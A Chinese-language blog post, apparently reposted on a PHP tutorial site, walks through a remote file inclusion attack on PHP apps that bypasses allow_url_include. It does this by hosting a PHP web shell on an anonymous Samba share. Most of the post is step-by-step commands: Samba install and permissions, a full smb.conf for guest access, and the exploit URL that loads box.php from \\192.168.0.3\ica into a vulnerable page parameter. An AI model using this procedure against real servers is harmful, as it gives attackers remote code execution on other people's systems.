使用SMB共享来绕过php远程文件包含的限制执行RFI的利用


Posted in PHP onMay 31, 2019

在这篇博文中,我将为大家演示如何利用PHP应用中的远程文件包含漏洞的技术。我们将绕过php远程文件包含的限制,并执行RFI的利用,即使PHP环境被配置为不包含来自远程HTTP/FTP URL的文件。

PHP 和 SMB 共享文件访问

在PHP配置文件中,“allow_url_include”wrapper默认设置为“Off”,指示PHP不加载远程HTTP或FTP URL,从而防止远程文件包含攻击。但是,即使“allow_url_include”和“allow_url_fopen”都设置为“Off”,PHP也不会阻止加载SMB URL。而这就极有可能被滥用来从SMB共享加载远程托管的PHP Web shell。

攻击场景概述

当易受攻击的PHP应用程序代码尝试从受攻击者控制的SMB共享加载PHP Web shell时,SMB共享应允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何的凭据,易受攻击的应用程序将包含Web shell的PHP代码。

首先,我重新配置了PHP环境,并在php.in i文件中禁用了“allow-url-fopen”和“allow-url-include”。之后,配置了具有匿名浏览访问的SMB服务器。一旦SMB共享准备就绪,我们就可以利用易受攻击的应用程序了。

PHP 环境设置

将托管易受攻击代码的机器上的“allow_url_fopen”和“allow_url_include”设置为“Off”

以下是版本为“5.5.11”的PHP当前配置截图:

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在继续下一步之前,让我们确保当我们尝试访问HTTP上托管的Web shell时,PHP代码不允许远程文件包含。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

可以看到,当我试图从远程主机包含PHP Web shell时,应用程序抛出错误并且没有包含远程文件。

使用匿名浏览访问配置 Samba 服务器(Linux 机器)
使用以下命令安装Samba服务器:

apt-get install samba创建SMB共享目录:

mkdir /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

配置新创建的SMB共享目录的权限:

chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

运行以下命令,删除SAMBA服务器配置文件的默认内容。

echo > /etc/samba/smb.conf将以下内容添加到/etc/samba/smb.conf文件。

[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555

force user = nobody现在,重启SAMBA服务器以使配置文件/etc/samba/smb.conf中的新配置生效。

service smbd restart成功重启SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求提供凭据。

在本例中,SAMBA服务器IP为192.168.0.3,我需要访问Windows文件浏览器中的SMB共享,如下:

\\192.168.0.3\ 

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

在 SMB 共享中托管 PHP Web shell

太棒了!可以访问smb共享,并显示目录“ica”存在。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

现在,将PHP shell托管在目录“/var/www/html/pub”中,该目录为smb共享目录“ica”。

成功托管PHP shell后,我们使用Windows文件浏览器访问SMB共享目录“ica”。

\\192.168.0.3\ica\可以看到php shell存在于smb共享目录中,在本例中为box.php文件。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

利用文件包含易受攻击的参数
让我们使用这个PHP shell SMB链接,以及易受攻击的php代码浏览它。

http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.phpPHP易受攻击的代码从SMB共享中获取了web shell,并在应用程序服务器上执行了代码\m/。我们已经绕过了php远程文件包含的限制,并包含了托管在远程主机上的Web shell。

使用SMB共享来绕过php远程文件包含的限制执行RFI的利用 

总结

以上所述是小编给大家介绍的使用SMB共享来绕过php远程文件包含的限制执行RFI的利用,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对三水点靠木网站的支持!

PHP 相关文章推荐
php date与gmdate的获取日期的区别
Feb 08 PHP
解析file_get_contents模仿浏览器头(user_agent)获取数据
Jun 27 PHP
PHP GD库生成图像的几个函数总结
Nov 19 PHP
php身份证号码检查类实例
Jun 18 PHP
基于PHP技术开发客服工单系统
Jan 06 PHP
PHP数学运算函数大汇总(经典值得收藏)
Apr 01 PHP
YII视图整合kindeditor扩展的方法
Jul 13 PHP
PHP定时任务获取微信access_token的方法
Oct 10 PHP
php使用gd2绘制基本图形示例(直线、圆、正方形)
Feb 15 PHP
PHP实现上传图片到数据库并显示输出的方法
May 31 PHP
Thinkphp 框架配置操作之动态配置、扩展配置及批量配置实例分析
May 15 PHP
PHP生成图表pChart的示例解析
Jul 31 PHP
PHP使用ActiveMQ实现消息队列的方法详解
May 31 #PHP
php中的buffer缓冲区用法分析
May 31 #PHP
PHP实现基于状态的责任链审批模式详解
May 31 #PHP
Laravel框架实现调用百度翻译API功能示例
May 30 #PHP
Laravel框架学习笔记之批量更新数据功能
May 30 #PHP
PHP实现的微信公众号扫码模拟登录功能示例
May 30 #PHP
PHP使用PDO创建MySQL数据库、表及插入多条数据操作示例
May 30 #PHP
You might like
Windows下IIS6/Apache2.2.4+MySQL5.2+PHP5.2.1安装配置方法
2007/05/03 PHP
Ajax提交表单时验证码自动验证 php后端验证码检测
2016/07/20 PHP
详谈PHP中public,private,protected,abstract等关键字的用法
2017/12/31 PHP
Javascript miscellanea -display data real time, using window.status
2007/01/09 Javascript
Query中click(),bind(),live(),delegate()的区别
2013/11/19 Javascript
jquery如何扑捉回车键触发的事件
2014/04/24 Javascript
jquery实现更改表格行顺序示例
2014/04/30 Javascript
javascript 获取元素样式必杀技
2014/05/04 Javascript
jQuery.holdReady()使用方法
2014/05/20 Javascript
JS小游戏之宇宙战机源码详解
2014/09/25 Javascript
异步安全加载javascript文件的方法
2015/07/21 Javascript
基于Bootstrap实现下拉菜单项和表单导航条(两个菜单项,一个下拉菜单和登录表单导航条)
2016/07/22 Javascript
AngularJS入门教程之Cookies读写操作示例
2016/11/02 Javascript
javascript 利用arguments实现可变长参数
2016/11/21 Javascript
详解jQuery中基本的动画方法
2016/12/14 Javascript
微信小程序-getUserInfo回调的实例详解
2017/10/27 Javascript
mpvue 如何使用腾讯视频插件的方法
2018/07/16 Javascript
微信小程序使用wxParse解析html的方法示例
2019/01/17 Javascript
详解JavaScript的内存空间、赋值和深浅拷贝
2019/04/17 Javascript
小程序封装路由文件和路由方法(5种全解析)
2019/05/26 Javascript
小程序中使用css var变量(使js可以动态设置css样式属性)
2020/03/31 Javascript
js 将多个对象合并成一个对象 assign方法的实现
2020/09/24 Javascript
python字符串加密解密的三种方法分享(base64 win32com)
2014/01/19 Python
python发送邮件接收邮件示例分享
2014/01/21 Python
python脚本监控docker容器
2016/04/27 Python
python字符串中的单双引
2017/02/16 Python
使用PyInstaller将python转成可执行文件exe笔记
2018/05/26 Python
pip install urllib2不能安装的解决方法
2018/06/12 Python
浅谈Python在pycharm中的调试(debug)
2018/11/29 Python
Pycharm内置终端及远程SSH工具的使用教程图文详解
2020/03/19 Python
爱尔兰领先的在线体育用品零售商:theGAAstore
2018/04/16 全球购物
CheapTickets泰国:廉价航班,查看促销价格并预订机票
2019/12/28 全球购物
越南母婴用品购物网站:Kids Plaza
2020/04/09 全球购物
电大奖学金获奖感言
2014/08/14 职场文书
交通事故案件代理词
2015/05/23 职场文书
分享CSS盒子模型隐藏的几种方式
2022/02/28 HTML / CSS